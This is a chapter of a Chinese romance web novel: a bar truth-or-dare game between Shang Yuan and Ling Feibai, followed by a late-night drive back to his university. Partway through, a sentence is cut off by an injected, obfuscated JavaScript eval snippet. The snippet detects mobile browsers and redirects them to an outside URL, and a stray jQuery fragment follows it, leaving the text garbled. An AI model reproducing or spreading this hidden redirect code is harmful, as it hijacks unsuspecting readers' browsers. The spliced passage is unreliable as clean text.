“商商,初吻还在吗?”
戎飞扬这句话问出来,整个卡座都沸腾了。
一来就玩儿这么大,商愿端着杯子,脸上含着笑:“我还没说真心话还是大冒险呢。”
“噢噢,对!”戎飞扬想起来,闹了个红脸,“你选你选。”
大不了就大冒险呗,大冒险……呵呵,大冒险不比真心话更刺激?他逃得掉?
“我选真心话。”
商愿声音脆脆的。
戎飞扬被他逗了一下,瞪大眸,不知道说什么,只能摆着手指责他一样摇晃:“噢——”
嘴里发出哄声。
商愿低低笑:“你说什么类型的初吻?”
“那当然是……!”戎飞扬急迫地比划,伸出两个大拇指对了一下,“别说什么小时候三大姑八大姨给你亲过了好吧?”
商愿当然不这么回答他。
他理直气壮,翘着眼睛回他:“这是第二个问题。”
初吻。亲嘴唇是初吻,亲脸颊也算是初吻,亲耳朵呢?那要不要伸舌头?
有的人还觉得嘴唇碰嘴唇死皮一撕相当于没亲过呢,他的真心话回答过了,谁叫戎飞扬不问清楚,白浪费一次机会。
戎飞扬被他堵得无话可说,猴急地挠腮帮子,谢璃笑着拽他一下衣摆:“好啦。”
凌飞白都不急,他们急什么呢?
商愿没回答这问题,最该着急的不该是凌飞白么。
凌飞白唇角沾笑,不吃醋也不追问,抬着眼睛扫商愿。
说他笨,又鬼精鬼精的。戎飞扬再问他细的,确实不该,显得太不尊重人了。
戎飞扬吃了个瘪,坐回去,闷头又喝了杯酒。
商愿看他这样,也端起酒杯,抿了一口。
人家好心好意活跃气氛,哪儿能让他酒也闷喝着。
游戏继续,大家陆陆续续被抽中,包括盛庚希。
“没谈过,我高中三年到现在也跟车谈着呢,回头把我老婆也骑出来给你们看看。”
“不废话么?当然没约过,贞洁是男人最好的嫁妆,你们这里不会有大杂烩吧?”
“那完了,我嫁不出去了,我谈过三段。”
“无所谓啦,我是觉得喜欢就谈呗,没什么好后悔,错过才后悔。”
“反正开心要紧嘛,谈恋爱也是情侣两个人的事,只要不骗炮,互相接受就行。”
“同意!为了纯爱和友谊,喝一杯。”
“……”
聊得荤素不忌,世界百花齐放,什么样观念的都有,真有不同频,也没必要在酒桌上和人争个高下。
瓶子转过一轮,终于又第二次指到商愿身上。
规则完善了。
这一回骰子决定出来问他问题的,是谢璃。
“我选大冒险。”谢璃笑眯眼,“玩吗?”
惩罚者向被惩罚者提出了要求,商愿同意,谢璃就要喝一杯酒,因为选择权原本是在商愿手上的。
商愿点了头,谢璃端起桌上的酒杯一饮而尽,面不改色,伸出手指,揶揄着要求:“商商,去问隔壁桌的人要联系方式。”
“……”众人一寂静。
哗然。
嚯!!!还是亲妹妹玩得狠。
谢璃手指的方向,是一个人高马大,正在和朋友喝酒的帅哥。
得有一米八了,穿着无袖衣,肌肉盘虬,胳膊还束了圈臂环。
不知道性取向,可能是直男可能是……
商愿从座位上站起来,俯眼看凌飞白一眼,端着酒杯过去。
凌飞白视线追着他,然后转向谢璃,不轻不重。谢璃哼哧哧笑,主动又端了杯酒,当凌飞白面喝干净。
倒过来给他看看,一滴不剩,这就没办法再怪她了。
酒桌游戏,谁较真谁输场。
“是只坏猫喔。”谢璃看热闹不嫌事大地和哥哥耳语,“挑衅你呢,挑逗你呢。”
商愿拿着手机,和那男生头靠头说话,手机亮光在昏暗环境下照得脸格外清晰,睫毛在底光的影下交织得更浓密。
他时不时抬起头来,指一下他们桌子的方向,笑得大大方方地和男生扫码,握住手机,穿过人群,回到座位上。
“喏。”商愿亮给大家看。
确实新加上,还是个杀马特,也不知搞怪还是什么,头像P一串火星文文字。
“啧啧啧啧啧啧。”戎飞扬感慨,凌飞白真是相中个辣的。
但喜欢!好!爽快!
他握住酒瓶又一转,这一回瓶子停在凌飞白跟前。
被神庇护也不能庇护一整晚,戎飞扬拉长尾音“噢~”,开始摇骰子。
商愿打开骰盅,三个六:“我最大。”
“真心话。”他道,“用不着喝酒吧?”
大冒险比真心话要刺激些,所以要喝酒,但如果是提出问真心话,惩罚者可以不用喝,除非被惩罚者坚决要求选大冒险。
不过商愿还是喝了一杯,以示公平。
他知道那个被他要联系方式的男生过来了,对方端着酒,要来他们这桌和他喝酒。
商愿定定看着凌飞白,声音如珠响玉:“凌飞白,上一次你留在我这里的衣服什么时候拿回去?”
他嗓音泠泠的,刚好够一桌人,还有前来的人听见。
桌上的人快要尖叫了。
什么衣服???什么衣服!!!!
已经进展到这程度了吗?连衣服都留在对方那边,戎飞扬感觉自己要热血沸腾了。
臂环哥步子一顿,看向凌飞白,商愿并不看他,他的视线一直落在凌飞白脸上。
只有凌飞白抬起眸,和对方冷淡淡相看了眼。他坐着不动,指节搭在酒杯上,似乎对方要再往前来一步,就是他和对方对杯。
男生遗憾地捏一下杯子,隔空和他喝了一杯,返身回去了。
凌飞白收回眸光来看商愿。
他嗓音很醇:“等下次,下次你来找我。”
商愿心里偷偷吐一下舌头,他才不会把衣服带过去呢。
下次,下次,永远都要是下次。
凌飞白根本就不是真的想要那件衣服,他又不是笨比。
这一轮再度落幕,又玩三两圈。
凌飞白345顺子,瓶口在商愿。
凌飞白在万众瞩目里,询问商愿:“如果在这里选一个人做你的初吻,选谁?”
……
一秒。两秒。
原以为商愿要默很久,毕竟他在管制区、在山地、在酒店、在巷子里……就脸颊红红,隔着几步都觉得皮肤烫烫。
然而商愿发着气声吃吃笑,直截了当地说:“选你呀。”
他目无避讳,径直看凌飞白:“干嘛问出我这种问题,又不对我负责。”
酒桌上说话,非真非假,难道凌飞白真要亲他吗?
凌飞白挑眉望他,商愿笑嘻嘻的,又说:“凌飞白,你好好看呀。”
“打眉钉疼吗?我也有点想打,但是又不想打……”
“你这是真心话提前问吗?”凌飞白出声。
商愿摇一下头:“不是。”
“真心话的话……那我要问你今天内裤穿什么颜色!”
凌飞白:“……”
啼笑皆非。
这确实是一个经典的恶俗真心话问题,放在这儿热幽默似的逗笑所有人。
大家捧腹大笑,戎飞扬举手投降:“哥,你看到了,没灌,没灌啊!他自己喝醉的。”
没有人灌商愿,商愿玩太高兴,喝得头重脚轻,但他又觉得自己没醉,因为他完全还能想事情——
难道……这不是真心话问题吗?!
不可能!
所以很清醒,可清醒了。
“还吃番茄面不?到点了,开门了。”有人问。
番茄面是这边酒吧附近的特产,晚上近半夜才开门,只做酒吧夜间生意,不外送,至多只有跑腿,但面真是好吃得不行,连番茄酱都是老板自己熬,大家来这儿喝酒,就是等着到点儿去吃面,转场再正式开始玩第二轮。
凌飞白征求了一下盛庚希的意见:“你们去吧,我先送他回去,他学校挺远的。”
众人无异议,凌飞白带着商愿离开。
外面夜风呼呼的,夜渐深,酒吧人多了起来,商愿忽地想起来问:“这就是酒湾吗?”
凌飞白正在叫代驾,他也喝酒了,开不得车,应他:“嗯。”
商愿眼眸落在无数亮起的灯上:“我第一次来……好漂亮啊,晚上来的时候还没看见。”
酒湾是夜生活,十点以前,都还不算活过来。
那时只开了零星的灯,营业的酒吧门口也没摆出今日灯牌,这会儿夜彻底深,漫天都是光怪陆离的璀璨。
商愿回过头来:“好漂亮,我就喜欢亮晶晶的。”
代驾匆匆赶来,其实本来应该是叫司机。
但凌飞白习惯了自己开车,今晚庆功,也不知道什么时候结束,索性给司机
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17109645|195835||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
助理放了假,等他们再赶过来,也不如酒吧门口虎视眈眈等着赚这一笔的代驾快。
凌飞白的车坐不下三个人,借的是谢璃的大奔。
代驾一看他车,跪了:“哥,这真是你的车吗?我不会犯法吧。”
谢璃车粉得拉风,隔着车窗玻璃都能看见里面还有超大萌物玩偶,内饰蕾丝罩网,虽然颜色不是男女的专利,但眼前这哥们保底一米九,这玩意儿真能是他的车吗?
凌飞白把钥匙抛给他:“我妹妹的,开吧。”
代驾手忙脚乱接过钥匙,看他衣着打扮都价值不菲,也不像是偷占他人车辆,和凌飞白核对了一些信息:“哥,车比较贵,咱们……”
“磕了算我的。”凌飞白言简意赅。
有他这句话,代驾放心了。
凌飞白拉开后车门,送商愿上去,细心地用手给他捂着车门角,省得他撞头。
谁知商愿一屁股坐进去,“嗙啷”在车内顶上撞一下。
凌飞白:“……”
他真是喝多了。
他无可奈何地笑笑,跟商愿一块儿坐进后座,商愿喝多了也不闹腾,乖愣睁着眼睛,眨眨,又扭过头来看他。
他坐近一点,缩在凌飞白身边,黏糊糊的,不讲话。
车开了一会儿,风透过窗往里吹,吹在眉眼上,商愿闭上眼,只让头发随着飘动:“凌飞白,你喜不喜欢我呀?”
“给你发消息的时候,有没有觉得我烦?”
他话音还是很脆,珠子、小鸟啼、莺莺。
凌飞白还没回话,商愿又说:“哼哼,你才不会呢!你心里肯定爽死了。”
代驾背坐直了,装作没听到,对控制台戳了两下,播出歌来。
“……你的女朋友,我也很喜欢!?”
“……她睡着的样子!我也想看?”
“——来陪她聊天,当你无话可谈?”
“我要送她鲜花,当你忘记浪漫!”
凌飞白:“…………”
谢璃每天都听的什么鬼歌!
他被商愿和这怪歌逗乐了,商愿听他笑,贴得近,透过骨头传过来,也跟着他断断续续笑,声线软绵绵。
“我说得对不对……我高中的时候……就知道……他们都会看我……笑我……”他声音渐渐弱,呼吸声变得绵长、均匀,微微的困乏。
歌还在继续。
“你应该烧掉你的花衬衫——”
“因为她的最爱是我身上的蓝”
“……打赌当她对我说爱你的时候”
“她看我的眼神比看你温柔”
“能不能把你有的分我一半”
“能不能把你有的分我一半!”
凌飞白对代驾说:“小声点。”
代驾按言降低了音乐动静,但两人的言行还是吵醒商愿,商愿枕靠在凌飞白肩怀,迷糊地用面庞蹭蹭,滑下去掉他腿上:“凌飞白,你今晚会想我吗?”
凌飞白拨他头发,眼光温和:“你喝多了。”
不应当。
起码不应当现在和商愿表白。
商愿哼哼声,贴贴他腿,又睡过去了。
歌曲播完换一首,鼓点轻扬:
“I was looking outside
When she caught my eye
A pretty thing moving things
In the house right next to mine
“Wonder what it''s like
To be next to you
Oh are you busy tonight
Can I give you a hand with the move…”
(——放眼望去,眼神聚焦在她身上,
如此动人,就在身旁。
不仅开始浮想,你在身边的场景,
如若你晚上不忙,能否接受我的邀约。)
……
车开了很久,停在复云大学门口。
商愿从车上被轻唤醒,懵懵懂懂下车,站在学校门口。
他努力睁开眼,背后是夜深人静的校园,远处是灯火通明的城景,车辆停在眼前,车窗还未摇上。
凌飞白坐在车里,等他进学校。
商愿倾身,灿烂地叫了一声:“凌飞白,明天见!”